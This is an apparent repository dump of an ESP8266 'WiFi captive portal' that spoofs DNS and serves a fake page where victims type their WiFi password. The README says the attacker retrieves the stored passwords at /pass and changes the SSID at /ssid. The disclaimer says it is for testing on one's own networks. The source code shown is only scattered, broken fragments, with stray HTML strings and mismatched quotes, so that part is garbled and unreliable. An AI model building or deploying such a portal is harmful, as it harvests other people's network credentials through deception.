├── LICENSE
├── README.md
├── WiFi_Captive_Portal.ino
└── src
├── 1_Index_2.jpg
├── 2_Post.jpg
├── 3_Pass.jpg
├── 4_ssid.jpg
└── thumbnail.png
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2018 BlueArduino20
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # ESP8266 WiFi Captive Portal
2 |
3 | ## Disclaimer
4 | This project is for testing and educational purposes. Use it only against your own networks and devices. I don't take any responsibility for what you do with this program.
5 |
6 | ## About this project
7 | WiFi captive portal for the NodeMCU (ESP8266 Module) with DNS spoofing.
8 |
9 | The built-in LED will blink 5 times when a password is posted.
10 |
11 | Warning! Your saved passwords will **not** disappear when you restart/power off the ESP8266.
12 |
13 | Note: If you want to see the stored passwords go to "**172.0.0.1**/pass". For changing the SSID, go to "**172.0.0.1**/ssid"
14 |
15 | V. 2.0 (Fake sign in): https://github.com/125K/ESP8266_WiFi_Captive_Portal_2.0
16 |
17 | # Showcase
18 |
19 |
20 |
21 | # Screenshots
22 |
23 |
172.0.0.1/index | 26 |172.0.0.1/post | 27 |172.0.0.1/pass | 28 |172.0.0.1/ssid | 29 |
---|---|---|---|
This is the main page. Here the user will write his password and send it. | 32 |This is the post page. The user will be redirected here after posting the password. | 33 |This is where the attacker can retrieve all the passwords that has been posted. | 34 |Here the attacker can change the SSID name of the Access Point on the go. | 35 |
![]() |
37 | ![]() |
38 | ![]() |
39 | ![]() |
40 |
Here you can change the SSID name. After pressing the button \"Change SSID\" you will lose the connection, so reconnect to the new SSID.
" + "" + footer(); 98 | } 99 | 100 | String postedSSID() { 101 | String postedSSID = input("s"); newSSID="The password list has been reseted.